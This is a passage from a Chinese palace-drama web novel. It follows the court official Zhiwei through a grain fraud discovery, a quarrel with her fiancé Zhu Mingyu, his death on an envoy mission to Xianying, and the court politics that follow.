“这些米不是自然放坏的。”知微指给祝明煜,“你看这霉斑,是从粮袋中间开始长的,边缘的米粒反而好一些,分明是有人以次充好,把坏米混进了御膳房的储备粮里。”
“你是说,人偷了米。”祝明煜有些不解,他伸手摸了摸粮袋的封口,绳结很紧,不像是被人多次开封过的样子。
那便只有一种可能了。
这粮袋一开始被送入宫时便是坏的。
也就是说,知微与祝明煜对上眼,有人故意以次充好!
知微脑海中闪过贡茶被盗一案,背后牵扯出官员渎职,现在御膳房的储备粮又出了问题,难不成……
“得赶紧上报上去。”祝明煜也反应过来,伸手握住知微的手,“这些米要是被用来做饭,怕是会吃坏肚子,万一给宫里的贵人吃了,后果不堪设想。”
知微点点头,反手攥紧他的手。
夜色渐浓,仓库里的霉味混着夜风飘进来。
“这件事情交给我吧。”祝明煜轻声道。
——
次日,祝明煜将御膳房的发现向上禀报,起初人们只以为这是一桩渎职敛财之案,并没有太多人将它放在心上。可查着查着,此事逐渐脱离开后宅,同前朝的纷争有所牵连。
最终竟追查到朝中重臣从各方面敛财,只为集资豢养私兵。
知微不方便知道其中细节。只知道皇帝为此事焦心难安,头发又白了几分,还有便是大昭的西部不再太平,暹瀛国发生内乱,与暹瀛国君作对的那一批势力反了,两股阵营相互对抗,惹得大昭的边境不得安宁。
基于此,皇帝预备遣人前去
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调和,祝明煜没和知微商讨,自主报了名。
宫外,城墙上,知微冷着一张脸,目送祝明煜率领大军离去。
祝明煜自作主张前去暹瀛,这是知微未曾想过,也为之生气的。
二人的婚礼定在秋天,距离祝明煜出征的日子不足三月,暹瀛路远,单算来回便要耗到一个半月,若再加上调和内乱的时间,甚至误入什么战争,婚礼定是来不及。
为此,祝明煜推迟了大婚,知微被动地接受了这件事。
攥紧的拳头仍在发痛,更多的是被欺瞒的心寒。
知微是从偶遇进宫的李明镜处得知祝明煜的自请,当时她正从御膳房出来,准备去校场为祝明煜送些解暑小食。
闻言,她干脆砸了手中瓷盘,领着少央,气冲冲奔向校场。李明镜跟在后头劝知微这是“卫国荣耀”,知微罔若未闻,找着祝明煜后上去便是一巴掌。
她着实不懂,婚事当前,政斗的局势变化无常,祝明煜非足智多谋的文臣,本不是最优人选。可他脑子犯抽了似的,竟请命由他率军,直入暹瀛。
倘若这事和她商量,知微倒也不至于愤然,她知晓他一门心思报效国家,最多叮嘱几句“小心行事”便罢了。可祝明煜是个哑巴,从别人口中得知夫君的请命,恰恰是知微万不能接受的。
“你长脑子了吗,这种事情要你出什么风头?”知微使劲推祝明煜胸口,“你若还认我这个妻子,就换人,这种自作主张的请命,我不允许。”
可以延期婚约,这不是问题。可二人都要成亲,成为一家人了,祝明煜此举算是一意孤行,全然没将知微当作妻子。
知微要他换人,本也是气头之语,只想叫祝明煜明白自己的不满,祝明煜却拍开她的手,说自己是去定了。
校场上的神镜兵旧部诸多,很多都是知道祝明煜与知微关系的,祝明煜甚至不愿同知微再解释几句,晾知微独自在原地,吞下满腹怨气。
虽说后来知微才得知是程玊芝又有了孕,皇帝本属意太子前往暹瀛,祝明煜感念祝隶稷诸事繁多,这才自请前去。可两人的冷战进行的如火如荼,知微到底是拉不下脸求和。
大昭的旗幡随风飘扬,数以万计的士兵严阵以待,出征的号角响起,祝明煜一身红色官袍,骑在前头最高大的那匹马。
“阿姐,真不下去打声招呼,祝大哥这一走,可又是好几个月的事情。”少昭轻声试探着知微。
知微冷哼:“他还需要和我打招呼吗。”
仍是一副气鼓的模样。
少昭缩了脑袋,手肘推了推一旁的少央,少央略微思考了会儿,走上前。
“将军说,他知晓您的脾性,对于婚事的推迟,是他不对。他已经将主子您大婚时要披的盖头带走,说是一定按时完工。”少央从袖子里取出一封信,上边是祝明煜的字迹。
知微不接。
她向前走了两步,到了城墙的最高处。
祝明煜像是感应到知微的动作,折过身来,同知微对上眼。
知微张了张口,像是说了什么。
他听不到。
42. 多是无情春(七)
傍晚,东宫偏殿提前点了灯,烛火跳了跳,映得祝隶稷衣袍上的金线暗纹忽明忽暗。
王渺枭捏着腰间那柄虎骨扇,刚跨进门就笑出了声,声音里带着点按捺不住的兴奋:“如此久了,我还以为太子殿下您忘了我,这突然一寻,总不会是又要我去盯哪个不长眼的反贼吧?”
“还是说,那位去暹瀛的少将军,需要我去护着?”毕竟是自己的亲兄弟,担心安危也正常,王渺枭自顾自坐下,不见外地为自己倒了一壶茶。
祝隶稷没接话,指尖摩挲着茶盏边缘,王渺枭倒也不恼,盯着祝隶稷的脸瞧。
“暹瀛那边不太平。”祝隶稷终于开口,声音没什么起伏。
王渺枭眼睛一亮:“殿下果真是要我去盯着?放心,谁要是敢动少将军一根头发,我定让他连骨头都剩不下!”他笑得张扬,指节敲了敲扇面,“早说过,我这把刀,殿下想用,随时都在。”
祝隶稷冷冷瞥他一眼,刚要再说什么,窗外突然传来一声重响,少昭的惊呼:“箱子!左边!左边抬高点!里头的东西贵重着呢!”
几个东宫的侍卫扛着一个硕大的箱子,少昭咋呼着指挥,知微两只手背在身后,颇有甩手掌柜的样。
王渺枭挑了挑眉,掩上帘子,朝祝隶稷挤了挤眼:“殿下的东宫,来了几只可爱的老鼠呢。”
祝隶稷脸色沉了下来,把茶盏往桌上一搁:“谁准你们把东西搬这儿来的?”
这话显然是对知微说的。
知微见祝隶稷一人站在窗边,上前迎了几步。
早已入夏,她什么都不做,额角也沁着汗,像一株自在的野山茶,扎眼又鲜活。
“当然是我叫他们搬的。”知微单手叉腰,“宫里规矩多,我告了半个月假,总不能还待在静芳苑。”
“听说东宫有空厢房,太子妃有邀约,我住进来正好,还能顺便照看太子妃……”
“东宫是你想来就来的地方?”祝隶稷语气更冷,“搬出去。”
知微话没说完,被噎住,面色也发了沉:“你以为我为何来此。”
“因为某些人的妻子刚失了孩子,悲痛欲绝,但他的夫君却还有心思在这儿喝茶。”
知微盯着祝隶稷的脸,字字带刺:“我看您这心够冰的,怕是茶都快冻住了,去喝您的凉茶去吧!”
知微撸起袖子,小臂抡圈,炸毛得很。
王渺枭在旁边看得有趣,扇着扇子没说话,眼角却留意着祝隶稷的神色。
祝隶稷的呼吸明显重了些,猛地抓起茶盏,朝知微脚边砸去。
瓷盏“哐当”一声碎在地上,茶水溅湿了知微的裙摆,碎片弹到她的鞋尖,划出道浅痕。
知微吓了一跳,往后退了半步,看着地上的碎片。
“孤的事,轮不到你置喙!”祝隶稷抠住窗帘,“给我滚远些。”
知微一行人的身影飞快离去。
王渺枭张了张嘴,想说话,止住了。
还是祝隶稷转过身。
帘子闭了一半,他处在半明半暗的间隙。
“暹瀛那边,你尽快动身。记住,别让人知道你的存在,只需要盯着就行——至于其他的,我自有安排,若是出了差错,你知道后果。”
王渺枭不敢多言,躬身应下。
——
知微把东西搬进西厢房,刚歇了口气,少昭就凑过来:“阿姐,你这会儿出宫,是还在跟祝大哥生气啊?”
知微同祝隶稷说的是程玊芝邀约自己入东宫,可少昭知道,知微来此的理由绝非单单的邀约,有部分原因,怕还是离不了在和祝明煜置气。
祝明煜人是走了,魂倒阴魂不散。几次三番遣人当说客,给知微传书信报平安。信里绝口不提擅自往暹瀛的心路历程,只当个没事人,自顾自说起路途上的风景轶事。
知道对方是在装傻,想浑水淌过此事,知微索性将那些拆开的信件烧了,免得触信火大。
“谁跟他生气了。”知微嘴硬,“他非要去暹瀛,我拦得住吗?”
“我看他从未当我是自己人,这婚事,不用延期,退了正好。”
知微手上的衣服折了好几叠,她眼下说的是真心话,褪去气头后,她又仔细思量了好一番两人的关系,承认她与祝明煜实际上并非同类。
祝明煜是在家国情怀中长大的,而知微没什么大志向,比起保家卫国,更喜经营自己的小家。她在乎人的方式也简单,把人留住,把风险抛给旁人。
暹瀛之事不过两人争吵的引子,更深层的是两人从未推心置腹沟通过,遇着了矛盾,不是忍便是哄,照这样下去,即算成了婚,也不得幸福安宁。
若是结局是可见的悲伤,她不如提前止损。人生在世,重要的总归是心灵的自足与安宁。
知微此番来东宫,也是为了给二人的关系找个答案。当然,此事也得和祝明煜沟通谈心,不论是作为伴侣还是朋友。
“好了,别想了。”少央递过来一杯水,“您不是说要去看看万侧妃吗?她住隔壁厢房,正好去打个招呼。”
知微拎起个装着蜜饯的小罐,往隔壁走。
刚到门口,就听见里面传来孙为的声音:“这个花灯的骨架得再扎紧点,不然挂起来会歪。”
“我觉得挺好的。”万珍儿的声音带着笑意,“你看这兔子的耳朵,多可爱。”
知微愣了愣,推门进去,就见万珍儿和孙为围着一张桌子,桌上放着几根竹篾和彩纸,孙为正帮着扎花灯骨架,万珍儿则在旁边剪彩纸,午后的阳光透过窗棂,落在两人身上,倒有几分温馨。
“孙为?你怎么在这儿?”知微震惊,没想到二人的胆量竟这般大,她小心合上厢房门,手里的蜜饯罐差点掉在地上。
孙为也愣了,连忙站起身:“我……”
“是我让他来的。”万珍儿打断。她招呼着知微坐下,打开蜜饯罐子。
万珍儿颊边鼓起:“孙为笨手笨脚的,糊个灯都歪歪扭扭,你手巧,来帮我看看怎么调整。”
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知微的目光在孙为和万珍儿之间转了个来回,意有所指地瞥了眼院门方向。
万珍儿浑不在意地摆摆手,嘴巴咀嚼着蜜饯,含糊道:“怕什么?那位爷的心思全在朝堂上,哪有闲工夫管我后院这点破事?再说了,”她狡黠地眨眨眼,指了指侍立在角落的心腹侍女,“似玉她帮我把着门呢。”
知微还是觉得不妥:“可万一被人看见,传出去对你名声不好。”
“名声?”万珍儿嗤笑一声,把彩纸贴在花灯上,“我嫁给祝隶稷这么久,他除了新婚夜,就没踏过我这厢房的门。我名声好不好,对他来说根本不重要,旁人爱怎么说就怎么说。”
知微语塞,走到桌边坐下,看着那盏快做好的兔子灯:“你倒看得开。”
“不然呢?”万珍儿拿起一块蜜饯放进嘴里,“哭哭啼啼求他来看我?没必要。对了,你见过太子妃了吗?她刚小产,身子怕是还没好。”
提到程玊芝,知微的语气软了些:“正打算一会儿去看她。说起来,她这胎坐得不稳,有一半缘由是身子没养好。”
程玊芝作为太子妃要打点的事情又杂又多,东宫尚未装潢完便急急入住,这样的环境也不适合养身体。
万珍儿听着知微惋惜,却摇了摇头:“可怜?我倒觉得这是好事。”
知微不解:“什么意思。”
“祝隶稷心思不在孩子的身上。”万珍儿的声音细了下来,手指摩挲着花灯。
“他如今想要的,是能帮他巩固地位的人,至于还没成型的胎儿,他无暇顾及。再者说,太子妃出身低微,性子也柔,很难养出一个聪慧得体的孩子。这孩子就算生下来,未必能得到父爱,说不准反而会成为祝隶稷的棋子,倒不如没有。”
万珍儿看向知微,眼神里带着点通透的冷漠:“要是我的孩子,得不到父亲的爱,那他生下来多可怜?不如不来到这世上受委屈。”
知微被她说得哑口无言,心里却有些发堵。她攥了攥手:“这些话,你没当着太子妃的面提及吧?”
“我跟她说什么,多一事不如少一事。”万珍儿挑眉,“她是个好人,但太老古板,我不喜欢。”
万珍儿此话不假。程玊芝小产病了些日子,她只唤似玉挑了些补品送过去,压根没想正儿八经走上一趟。
知微拽着万珍儿的手腕:“多少去看看,走个形式吧。”
同在屋檐下,程玊芝也是个好人,多走动走动总是不错的。
知微生拉硬拽,万珍儿被拖出厢门。
临去前,知微不放心:“到了那儿,不准说刚才那些话,不然我撕烂你的嘴。”
万珍儿笑着举手:“知道了知道了,我是个哑巴。”
两人走到程玊芝的厢房外,就听见里面传来蒋嬷嬷的声音:“侧妃,您再喝口粥吧,这都一天没吃东西了。”
知微推门进去,程玊芝靠在软榻上,眼底还有淡淡的青黑。
她看到知微,勉强笑了笑:“你来了。”
43. 多是无情春(八)
“来看看你。”知微快步走过去,伸手探了探她的额头,温度还算正常,“感觉如何?有没有哪里不舒服?”
“还好,就是没什么力气。”程玊芝咳了两声,“本来是想来帮你散心的,反倒让你担心了。”
知微与祝明煜的事情程玊芝或多或少听闻了。
知微摇头,示意程玊芝无事。她从怀里掏出个小布包,里面是她熏的安神香。
“我用艾草和合欢花熏的,你睡时点上,能安稳些。”知微又递给蒋嬷嬷几张纸,“这是小产后的食谱,用当归、黄芪炖鸡汤,再加点红枣,补气血的,您照着做给侧妃吃。”
蒋嬷嬷连忙接过,感激道:“多谢晏姑娘费心。”
程玊芝看着知微忙碌的样子,眼底泛起暖意。
万珍儿借过知微手中的安神香,仔细闻了闻:“说来也奇怪,这艾草和合欢不是孕妇能多接触的,但眼下用来给太子妃驱寒安神倒是上品。哎,食膳也是这般,我的阿寿不也是……”
万珍儿的原意是感慨同一事物的一体多效,引动了自己的感伤,没有恶意。
程玊芝却不禁垂下来眼。她抚摸小腹:“是啊,前段时间还是禁药的东西,现今却成了良药。”
人生啊,程玊芝自嘲地笑。
“说的哪里话。”知微替程玊芝掖了掖被角,“许是时机不对,和孩子的缘分在后头。东宫才修缮不久,气味杂乱,姐姐身子本就弱,时机不对罢了。”
提到这个,程玊芝的眼神柔了些:“夫君也这么安慰我。也是,眼下本不是个好时机,东宫事多,我是他的妻子,再让他分心便不对了。”
知微愣住,她是想安慰程玊芝不假,可程玊芝会这样想,竟是把自己放低到了尘埃。
“什么分不分心,他作为丈夫,开解你、替你多想些是义务。”知微忍不住,坦言。
“他不是不替我想,只是他肩上的担子太重了。”程玊芝笑了笑,“夫君从生下来就背负着太多。我嫁给她,就知道要承受这些。”
程玊芝看着知微,打趣道:“若是哪天明煜也有自己的难处,你说不定也会像我一样,心甘情愿陪着他。”
程玊芝一脸“此言为至理”的表情,惹得知微一时语塞。要她说,太子妃哪都挺好,就是这思想,实在是有些……知微看着程玊玊芝眼中那份温柔与坚定,有些话到了喉间又咽下,心头百味杂陈。
她做不到这样,也无法想象自己会像程玊芝一般,将整个身心都系在一个男人身上,哪怕他冷若冰霜。
可世界上的夫妻本不相同。一个愿打一个愿挨,知微也不好评说什么。
“以后的事谁知道呢。”知微心里有点发虚。
旁边万珍儿突然小声嘟囔:“我可做不到姐姐这样,看见那张冰块脸就烦。
她剥着不知从哪顺来的橘子,眼皮都没抬。
程玊芝笑了笑,顺眉瞧着眼前这位“妹妹”。有时她也会感慨,好在祝隶稷娶回的侧妃是万珍儿这般天真的人,宫里宫外的宅斗听得太多,好在她命好,没有这些烦忧。
程玊芝唤蒋嬷嬷上前,端了寝房桌边的甜粥给万珍儿,慈爱地摸了摸万珍儿的头。
厢房里的沉闷气氛总算散了些。
程玊芝摸着摸着,像是突然想起了什么,叹了口气:“说起来,明煜对你是真上心。”
“你是不知道,出使暹瀛前一日,你们吵着架,但他还偷偷跑来问我,给你备下的那套新婚的头面花样够不够时兴,怕你不喜欢,巴巴地又跑去金玉楼添了两支点翠步摇……”
知微听着,心里像被什么东西撞了一下。
“他只会做这些形式上的东西。”知微嘴硬,“要是真想我消气,便应该早些向我道歉。”
“他不是已经向你写过信了吗?他在信上说,之前你一直没回复他,他知你火气正旺,后边的几封信已经正儿八经地向你道过歉了。
“你莫不是没打开这些信件?”程玊芝眉头微蹙,“也是了,你们也是为了我和夫君才成了这副模样,我应该早些叫你来,说不定你们便能更早解开心结。”
程玊芝抿着唇,一副歉疚样。知微最受不得她菩萨忏悔的面容,赶忙止住了程玊芝。
程玊芝表达欲依旧,似是真心认为自己又义务去修复知微二人的关系。
“还有那回你去校场找他问出使暹瀛的事情,他不是恶意不搭理你。”程玊玊芝继续道,“他只是觉得你当着那么多下属的面直言指责,他面上无光。”
“你知道他的脾气的,他羞得不行,又不敢出言惹你烦,只好冷着张脸,什么都不说。事实上,当天晚上他便后悔不已,整宿失眠,第二天便发了高热,等病好了又是几天过去,可你连静芳苑的门都不让他摸了。”
“你可知,临走前,他还特地将你新婚要带的那顶盖头带了走,说是要在路上为你继续缝制。”
“所以啊,”程玊芝轻轻拍了拍知微的手背,语重心长,“别跟他置气了。明煜心里装着你,装得满满当当,做夫妻的,哪里没有矛盾,哪能有永远欢愉。他在乎你,体贴你,爱你,这不就够了吗?”
程玊芝话中的信息量太大,知微彻底怔住。
她记得那块盖头,祝明煜为了缝制它,手都伤了好几次。有一次严重得盖头上沾了血,她劝他反正都是红色,没什么所谓。祝明煜却急得跳脚,说这不吉利,必须要重新缝制。
脑海中闪过那麦色的脸庞,心底那点因他不告而别积攒的怨气,像被针戳破的气球,倏地瘪了下去,只留下酸酸软软的一片。
知微手指无意识地摩挲着袖口精致的纹理,半晌,才低低哼了一声,带着点残余的倔强和不易察觉的松动:“谁跟他置气……等他回来,看他认错的态度再说吧。”
她站起身,借口去小厨房看看炖品,几乎是落荒而逃。
——
在东宫生活的日子过得很快,知微只告了半旬的假,每天吃吃喝喝,偶尔和朋友赏花漫步,日子流水般逝去。
很快她又回到了皇城,秋天过去,又进入冬天,祝明煜仍然逗留在暹瀛,政斗多变化,知微早做好他晚归的准备,倒是不
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意外。
祝明煜起初也同知微寄些信,大抵是知微没回,后来不知怎的,慢慢消停了。
进入皇宫当女官的第三年冬天,知微一如既往的忙活着年底的宴席。
每年年终都是尚食局最忙的时候,宫内的大小宴席、除夕家宴筹备事宜诸多,知微这两年也逐渐接手主要工作,忙得头昏眼花。
寅时起,子时歇成为常态。
知微有时看着桌上的一堆文书,也时常会觉得分身乏术,好在少昭与少央体贴,能够打理好静芳苑,她也便专心到工作当中。
这天,知微又在准备宴席,和往常不同,这一场宴席汇聚了京内大部分高官,举办规格高,很多事情知微怕旁人做不好,不得不亲自操刀。
“听说没,陛下此番召集群臣是为了尽快解决暹瀛的事情,好让出使的队伍快些回来。”
“也该回来了,原本只是一个小内乱,结果越发严重,暹瀛内部打的热火朝天,这才耽误了使者回来的时间。”
“这么说,二皇子回来后,师傅的婚事也要提上日头了。”阿福插在闲聊的几个宫女间,捕捉到重要的信息。
知微没有叫停八卦的几人。
这些天她总是无故做噩梦,精神萎靡的很,连竖耳旁听的力气都没有。
手上锋利的菜刀一起一落,萝卜块切成轻薄的丝,白的像一根根丝线,知微眼皮耷拉,不小心使错力,白丝画成红线。
“师傅!”阿福最先注意的知微甩开刀,他赶忙上前,抓住知微的手仔细探查。
只锐痛了一瞬,血液密密淌出,大抵是伤着了血管,化作赤色的洪流。
清水洗过手指,留下冷和麻。
不是什么大伤,知微习惯了,却觉得有些顿顿的不适。
——
“父皇,这杯酒敬您,祝您万寿无疆,百事顺遂。”祝隶稷难得换了身艳色的衣服,明黄色跟着杯盏摇晃,牙齿微开,露出笑来,少了几分冰冷。
知微站在皇帝身旁奉茶,皇帝登基不过三年,头发已尽数发白,前段时间隐有中风之兆,太医诊断后失去了饮酒的权利。
许是调养的好,皇帝的面色难得红润,声音也多了几分气来。
皇帝以茶代酒,向百官表示,百官齐声回敬,声音回荡在大殿。
知微强撑着睡意,手上的伤口像是钻入了小虫,无故发起痒来。
有风迎面闯入,是李明镜,他今日驻守城墙,此刻匆匆而来。
“陛下,不好了,前线送来消息,暹瀛……暹瀛反了,此刻,他们正率着大军,朝我国边界袭来。”李明镜喘着粗气,跪倒在大殿上。
百官的声音渐弱。
皇帝赶忙起身:“二皇子他们呢?派去暹瀛的使团可还平安?”
回答皇帝的是寂静。
李明镜的目光空洞,头逾千斤重。
“二皇子,明煜他……”李明镜的声音越来越弱,全身颤巍。
“眼下他的尸骨,正在回京的路上。”
闻言,皇帝手中的杯盏猛然掉落。
44. 雷霆雨露皆是恩(一)
静芳苑的苑门紧闭了好些天。
知微房门,少央端着温好的鸡汤,和少昭一块立在门外,分明是初冬,二人的指尖却冻得发红。
是个冷冬啊。少昭缓缓吐气。
铜勺碰着瓷碗,发出细碎的声响。
自从那日宴席,得知祝明煜的死讯,整个皇城都乱了套。皇帝是最先倒下的,几乎是在听到快报的后几秒,威武的身躯轰然坠倒。
少昭没在现场,无法亲自体悟当时的慌乱,只宫中氛围如同冰窟。
皇帝陷入昏迷,中了风,御医用灵药吊着他,第五天,终是不治而亡,皇后闻讯伤神,出了宫终日青灯相伴。
祝隶稷很快登基,改元“景和”,第一道圣旨就是派重兵反攻暹瀛,誓要为使团报仇。
少昭叹气,她知晓知微此刻就坐在窗边的软榻上,像尊没了魂魄的泥塑。
阿姐没在她面前哭过。
得知祝明煜死讯的前几天,知微明显不信,嚷嚷李明镜是老糊涂了,直到尸体运回京,知微掀开白布,眼前是几具抱在一起的焦尸,最中间的那具怀中还有块剩点残红的布匹,想来是藏在了贴胸口处,竟没完全焦化。
据说是午夜被烧死的,当时暹瀛尚在内乱,使团一如往常歇息,一场大火烧过院落,全团几十人都遭了迷药,除却偷懒去花街寻乐的几位杂役,无一生还。
“使团中了暹瀛国的计,暹瀛甚至联合了我大昭的反贼,这场大火,不过是反叛的序曲。”江覃当着众人的面,分析道。
知微没有反应,少昭握住她发青的手。
知微默默盯着那几具已经焦到看不清人样的尸身看了许久,嘴巴一张一合,当着新任圣上的面骂了句混蛋,扭头回了静芳苑。
——
“阿姐。”少昭贴着门板轻唤,声音发颤,“鸡汤要凉了,你多少喝一口?”
屋内没有回应。
少昭垂首,少央接过她手中的鸡汤:“主子今晨吃了两个馒头,已经很好了。”
这不算安慰,知微回到静芳苑后便闭门不出,两天都米水未进。还是少昭急中生智,提出自己和她一同断食的决绝之策,这才说动了知微打开房门,干咽了些口粮。
“我端进去吧。”少昭还要再说些什么,身后传来脚步声。
是程玊芝,如今已是皇后。她穿着一身凤袍,接过少央手中的鸡汤:“知微,是我,总得给我一些面子吧。”
房门“嘎吱”打开了。
两个丫头立在门外,程玊芝也屏退下人,独自进了房间。
房里没有点灯,床榻上的被衾叠得敷衍,床首摆着几封拆开的信。信纸有些皱,胡乱摊放着,上面还残留着未干的水渍。
程玊芝打量着整个房间,甚至不如从前知微做饭后的灶台清爽,她不作声,目光转过窗边那盆打理净杂草的花草,最后定格在知微消瘦的脸上。
“知微……”程玊芝的声音很轻,带着小心翼翼的关切。
对于眼前人,她一时竟不知该说什么好。安慰,可此时此刻,好像任何言语都显得苍白无力。
还是知微先开了口,声音虽轻,却带着一种奇异的平静:“娘娘来了。”
知微拍了拍床上的褶皱,自阴影里步出:“太子妃娘娘,不,现在是皇后娘娘了,你瞧我,这些日子不出门,都睡得有些糊涂了。”
“我没事,只是这段时日脾胃不适,多休息了会儿,本来还想着过几日去您宫中请安,没想到您先来了。”知微甚至微微欠了欠身,微笑打趣。
“请安便不必了,都是一家人。”程玊芝轻声,说到一半她顿了顿,仔细观察眼前人的神色无异,她又缓缓道,“我的意思是,不论如何,我都将你看作义妹。”
“多谢娘娘厚爱。”知微扯了扯嘴角,别开眼,“倒是您,新帝登基,后宫诸事繁杂,千万要保重凤体。”
“我……”程玊玊芝张了张嘴,微微一怔,她看着知微那双沉寂如古井的眼睛,心头涌起一阵复杂的酸楚。
“我习惯了。身为皇后,这些都是分内之事。”程玊芝也会以微笑,不再盯着知微瘦削下来的脸打量,她从袖中取出一枚温润的羊脂白玉佩,玉佩上雕刻着简单的祥云纹,看得出是新手所为,刀工略显稚嫩。
“晟儿……他很惦记你。这是他亲手刻的,说是要送给你,保佑你平安。”
“多谢皇后娘娘,也替我谢过晟儿。下官有空定会去亲自道谢。”知微将玉佩攥在手心。
“言重了。”程玊芝回复。
卧房空荡,两人又扯了些干巴的话来聊,很快又归于沉默。
最后,程玊芝看着知微依旧带笑的面容,叹了口气。
“若是有什么难处,尽管来找我,东宫永远欢迎你。”说罢,她起身离开了。
——
程玊玊芝走后,少昭默默收拾起几乎没动的鸡汤。
她端着食盘刚走到院门口,就看见少央正蹙着眉和一个面生的内侍低声说着什么。那内侍一脸无奈,眼神里透着不甘。
”怎么回事?“少昭走过去问道。
少央看到她,脸色有些难看。
还是那内侍低声道:“方才去领这个月的炭例,内务府的人说……说静芳苑地处偏僻,用不了那么多,只给了往年一半的量。我去理论,他们便推说如今各处都紧,前线打仗耗费巨大,让我们省着点用。”
少昭一听,顿时恼怒。
什么用不了那么多?往年冬天静芳苑的炭火都是足足的,这分明是看阿姐失了倚仗,祝大哥又……
内务府那群人摆明是想恶意刁难!
“放屁!”少昭气得脸都红了,把食盘往少央手里一塞,“我去找他们,这帮狗眼看人低的东西!”
少昭一阵风似的冲到司设监,果然看到负责分发炭火的李公公正翘着二郎腿喝茶,旁边几个小太监围着他奉承。
“我们静芳苑的炭例为什么只给一半?”少昭找上他叉腰,声音清脆响亮。
李公公眼皮都没抬,慢悠悠地吹了吹茶沫:“炭例是按规矩分的,上头说了,要节俭度日。”
“规矩?什么规矩克扣我们静芳苑的份例?往年怎么不是这样?”少昭胸口起伏,“我看你就是存心刁难!是不是看我们主子……”
“哎呦喂!”李公公猛地放下茶杯,尖着嗓子打断少昭,“这话可不能乱说!什么叫刁难?这是宫里的规矩!晏尚食一介女官,每月的分例本就只这么写,前些年是二皇子瞒着你们私下偷偷补贴,不然只凭尚食的分例,哪能用得起金丝炭?”
旁边几个小太监也跟着起哄,阴阳怪气地嘲讽起来:
“就是,咱们公公可是按规矩分配的,是某人逾期了。”
“主子?不就是比我们高上几个层级的女官吗,若是没有二皇子的庇护……”
“要我说识相点就赶紧走,别在这儿碍眼!”
轻蔑的眼神,刺耳的言语,扎在少昭心上。她想起阿姐这些天不吃不喝的样子,这些势利小人的嘴脸逐渐扭曲起来,一股热血直冲她的头顶。
“你们这些狗奴才!”少昭再也忍不住,像只被激怒的小豹子,猛地扑上去,一把揪住为首那小太监的衣领,“我让你克扣!让你嘴贱!”
那小太监没料到少昭敢动手,猝不及防被她揪住,吓得哇哇大叫。旁边几个小太监愣了一下,随即反应过来,七手八脚地冲上来拉扯少昭。
少昭虽然力气不小,但双拳难敌四
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手,很快就被推倒在地。混乱中,不知是谁的拳头还是脚踢在了她脸上。
“住手!都给我住手!”少央焦急的声音传来,她带着几个闻讯赶来的小太监,好不容易才把扭打在一起的人分开。
少昭被少央扶起来时,头发散乱,脸上青了一块,嘴角也破了,渗出血丝,衣服也被扯得乱七八糟,狼狈不堪。她瞪着那几个同样挂了彩的小太监,眼睛里燃烧着愤怒。
“别让老娘再看见你们。”架走前,少昭还不忘骂咧唾道。
——
是夜,少央扶着少昭回到静芳苑的偏房,打来温水,小心翼翼地帮她清理伤口。
药粉沾到伤口,少昭疼得“嘶”了一声,眼泪在眼眶里打转,却倔强地不肯掉下来。
“很疼吗?”少央手上的劲轻了些。
“不疼!”少昭咬着牙,声音却带着哭腔,“就是气!他们就是看阿姐没了靠山,故意欺负我们!凭什么啊?阿姐做错什么了?阿姐平素对他们内务府的人都是笑脸相迎,可他们却……”
少昭的话没说完,房门被轻轻推开。
知微不知何时站在了门口。她依旧穿着素色的衣裙,身形单薄,那双沉寂了许久的眼睛,定定地落在少昭青紫的脸上。
“怎么搞成这样。”知微快步走过来,接过少央手里的药,小心翼翼地给少昭擦着额头的淤青。
见到熟悉的阿姐,少昭再也忍不住,眼泪掉了下来,絮叨着自己在内务府所受的委屈。
“阿姐,他们欺负人!我们去找皇后娘娘吧,她肯定会帮我们的!”少昭的想法很简单,她知道权势在宫中的作用,祝大哥是没了,可还有皇后、还有太后,只要阿姐大声叫喊委屈,她们定会为静芳苑出气。
什么破内务府,什么断了根的李公公,通通都得挨上几十大板!
少昭狠狠哼起气。
听着少昭的话语,知微的动作慢下来,指尖的药味混着少昭的眼泪,泛着苦涩。
她沉默了片刻,才缓缓道:“少昭,皇后娘娘有她的难处。如今新帝登基,朝局不稳,她虽是皇后,也不能事事周全,能不麻烦她的,咱们尽量不要去添乱,你说对不对?”
知微抱着少昭的头,她早在少昭叙述今日内务府发生的事情时便看穿了一切的因由,说来也怪她,往日在尚食等各个方面的改革都太深,有多少功绩便留下多少抱怨,她的手太深,姿势太倨傲,想来宫中也不止内务府的人仇恨她。
知微抚过少昭的头:“是阿姐从前太高傲了,这才引得……”
“不是阿姐的错!”少昭哽咽着打断,“祝大哥不在了,他们就把我们当软柿子捏!”
知微的心又抽了抽。
“这就是宫里的规矩,也是这乱世的道理。”她耐心解释道,“没有永远的靠山,也没有永远的庇护。明煜在时,我们能靠着他的势,避开些风雨;可他不在了,这些风霜,我们总要自己扛。求助别人,不如自己站稳脚跟。”
她轻轻拍了拍少昭的肩:“忍过这阵子就好了,内务府那帮人精的很,我的官位在那,也不敢做得太绝,总能过下去的。”
“可是阿姐!”
“听话。”知微再次轻声。
少昭不懂知微的考量,她只是觉得更加委屈,眼泪开了闸,开始放声起来。
哭着哭着,她渐渐没了力气,靠在枕头上睡着了。
知微给她捻好被角,又坐在床边守了一会儿,才起身走出屋。
庭院里的月光很淡,洒在地上,像一层薄薄的霜。知微抬头望着冷月。
就在这时,院外传来内侍的声音,是祝隶稷的贴身太监平海,他缓缓走进院内,躬身:“晏尚宫,陛下宣您即刻去养心殿见驾。”
45. 雷霆雨露皆是恩(二)
宫道,风卷着枯叶擦过青砖,发出细碎的声响。
身前的内侍步伐不算大,挡住绝大部分的寒风。
这条路知微走过很多遍,不算陌生,却是第一次感到无边的冷清。
知微跟着平海走在到廊下,远远瞧见前方道上一队人影经过,为首者身着暗红锦袍,腰间佩着小扇,脸上覆着一副镂空银面具,遮住了鼻梁以上的面容。
月光落在面具上,泛着冷硬的光泽。
“那是何人?”晏知微脚步微顿,目光不由自主地追着那道身影。
平海顺着她的视线望了眼,低声解释:“是陛下新提拔的三品指挥使王大人,在暹瀛谋反案里,他最先从边疆传回急信,立了大功,陛下很是器重。”
知微这些天深居简出,对外边的一切都知之甚少。那身影虽匆匆一瞥,却莫名让她觉得眼熟,仿佛在哪里见过一般。
但具体是谁,她又一时想不起来,只好作罢,继续跟随平海前行。
——
养心殿内,烛火摇曳,祝隶稷正在案前低头批阅奏章,神情专注而冷峻。
知微跪下行礼,声音清脆而恭敬:“拜见圣上。”
祝隶稷对她的参拜置若罔闻,依旧沉浸在自己的世界里,手中的笔不停地在奏章上跳跃,留下一个个刚劲有力的字迹。
知微跪得久了,双腿渐渐发麻,忍不住微微动了动,这细微的声响像是惊动了眼前人,祝隶稷终于抬眼,目光冷冷扫过知微:“还算有耐性。”
知微垂着头,没接话。
